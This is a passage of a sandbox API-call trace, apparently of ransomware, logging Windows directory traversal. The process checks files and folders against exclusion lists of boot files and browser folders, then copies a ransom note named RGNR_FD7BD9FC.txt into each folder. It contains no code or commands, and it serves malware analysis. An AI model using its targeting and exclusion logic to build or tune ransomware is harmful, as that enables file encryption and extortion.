(lpString1="msdaprst.dll", lpString2="bootmgfw.efi") returned 1 [0078.622] lstrcmpiW (lpString1="msdaprst.dll", lpString2="desktop.ini") returned 1 [0078.622] lstrcmpiW (lpString1="msdaprst.dll", lpString2="iconcache.db") returned 1 [0078.622] lstrcmpiW (lpString1="msdaprst.dll", lpString2="ntldr") returned -1 [0078.622] lstrcmpiW (lpString1="msdaprst.dll", lpString2="ntuser.dat") returned -1 [0078.622] lstrcmpiW (lpString1="msdaprst.dll", lpString2="ntuser.dat.log") returned -1 [0078.622] lstrcmpiW (lpString1="msdaprst.dll", lpString2="ntuser.ini") returned -1 [0078.622] lstrcmpiW (lpString1="msdaprst.dll", lpString2="thumbs.db") returned -1 [0078.622] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.622] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.622] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0078.622] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.622] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msdarem.dll" | out: lpString1="msdarem.dll") returned="msdarem.dll" [0078.622] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll") returned=".dll" [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="autorun.inf") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="boot.ini") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="bootfont.bin") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="bootsect.bak") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="bootmgr") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="bootmgr.efi") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="bootmgfw.efi") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="desktop.ini") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="iconcache.db") returned 1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="ntldr") returned -1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="ntuser.dat") returned -1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="ntuser.dat.log") returned -1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="ntuser.ini") returned -1 [0078.622] lstrcmpiW (lpString1="msdarem.dll", lpString2="thumbs.db") returned -1 [0078.622] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.622] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.622] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0078.622] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.623] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msdaremr.dll" | out: lpString1="msdaremr.dll") returned="msdaremr.dll" [0078.623] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll") returned=".dll" [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="autorun.inf") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="boot.ini") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="bootfont.bin") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="bootsect.bak") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="bootmgr") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="bootmgr.efi") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="bootmgfw.efi") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="desktop.ini") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="iconcache.db") returned 1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="ntldr") returned -1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="ntuser.dat") returned -1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="ntuser.dat.log") returned -1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="ntuser.ini") returned -1 [0078.623] lstrcmpiW (lpString1="msdaremr.dll", lpString2="thumbs.db") returned -1 [0078.623] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.623] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.623] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0078.623] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.623] lstrcpyW (in: lpString1=0x1eb61e, lpString2="msdfmap.dll" | out: lpString1="msdfmap.dll") returned="msdfmap.dll" [0078.623] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll") returned=".dll" [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="autorun.inf") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="boot.ini") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="bootfont.bin") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="bootsect.bak") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="bootmgr") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="bootmgr.efi") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="bootmgfw.efi") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="desktop.ini") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="iconcache.db") returned 1 [0078.623] lstrcmpiW (lpString1="msdfmap.dll", lpString2="ntldr") returned -1 [0078.624] lstrcmpiW (lpString1="msdfmap.dll", lpString2="ntuser.dat") returned -1 [0078.624] lstrcmpiW (lpString1="msdfmap.dll", lpString2="ntuser.dat.log") returned -1 [0078.624] lstrcmpiW (lpString1="msdfmap.dll", lpString2="ntuser.ini") returned -1 [0078.624] lstrcmpiW (lpString1="msdfmap.dll", lpString2="thumbs.db") returned -1 [0078.624] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.624] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.624] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81166d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.624] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x32 [0078.624] lstrcpyW (in: lpString1=0x1eb61e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.624] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.624] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.624] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81166d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81166d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.624] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.624] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2=".") returned 1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="..") returned 1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Windows") returned -1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Windows.old") returned -1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Tor browser") returned -1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Internet Explorer") returned 1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Google") returned 1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Opera") returned -1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Opera Software") returned -1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Mozilla") returned 1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="Mozilla Firefox") returned 1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="$Recycle.Bin") returned 1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="ProgramData") returned -1 [0078.624] lstrcmpiW (lpString1="MSMAPI", lpString2="All Users") returned 1 [0078.624] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.624] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="MSMAPI" | out: lpString1="MSMAPI") returned="MSMAPI" [0078.624] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\" [0078.624] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\" [0078.624] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\RGNR_FD7BD9FC.txt" [0078.625] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\msmapi\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.632] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*" [0078.632] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.632] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.632] lstrcpyW (in: lpString1=0x1eb20c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811b3040, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.632] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.632] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811b3040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811b3040, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.632] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.632] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.632] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.632] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0078.632] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0078.632] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1 [0078.632] lstrcmpiW (lpString1="1033", lpString2="Windows.old") returned -1 [0078.632] lstrcmpiW (lpString1="1033", lpString2="Tor browser") returned -1 [0078.632] lstrcmpiW (lpString1="1033", lpString2="Internet Explorer") returned -1 [0078.632] lstrcmpiW (lpString1="1033", lpString2="Google") returned -1 [0078.632] lstrcmpiW (lpString1="1033", lpString2="Opera") returned -1 [0078.633] lstrcmpiW (lpString1="1033", lpString2="Opera Software") returned -1 [0078.633] lstrcmpiW (lpString1="1033", lpString2="Mozilla") returned -1 [0078.633] lstrcmpiW (lpString1="1033", lpString2="Mozilla Firefox") returned -1 [0078.633] lstrcmpiW (lpString1="1033", lpString2="$Recycle.Bin") returned 1 [0078.633] lstrcmpiW (lpString1="1033", lpString2="ProgramData") returned -1 [0078.633] lstrcmpiW (lpString1="1033", lpString2="All Users") returned -1 [0078.633] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.633] lstrcpyW (in: lpString1=0x1eb620, lpString2="1033" | out: lpString1="1033") returned="1033" [0078.633] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" [0078.633] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" [0078.633] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RGNR_FD7BD9FC.txt" [0078.633] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.635] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*" [0078.635] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.635] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.635] lstrcpyW (in: lpString1=0x1ea73e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.635] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.635] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.635] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.635] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.635] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0078.635] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2=".") returned 1 [0078.635] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="..") returned 1 [0078.635] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d91a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.635] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.635] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.635] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d91a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.635] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.635] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x811d91a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x811d91a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.636] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0078.636] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0078.636] lstrcpyW (in: lpString1=0x1eab52, lpString2="MSMAPI32.DLL" | out: lpString1="MSMAPI32.DLL") returned="MSMAPI32.DLL" [0078.636] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL") returned=".DLL" [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="autorun.inf") returned 1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="boot.ini") returned 1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="bootfont.bin") returned 1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="bootsect.bak") returned 1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="bootmgr") returned 1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="bootmgr.efi") returned 1 [0078.636] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="bootmgfw.efi") returned 1 [0078.636] lstrcmpiW 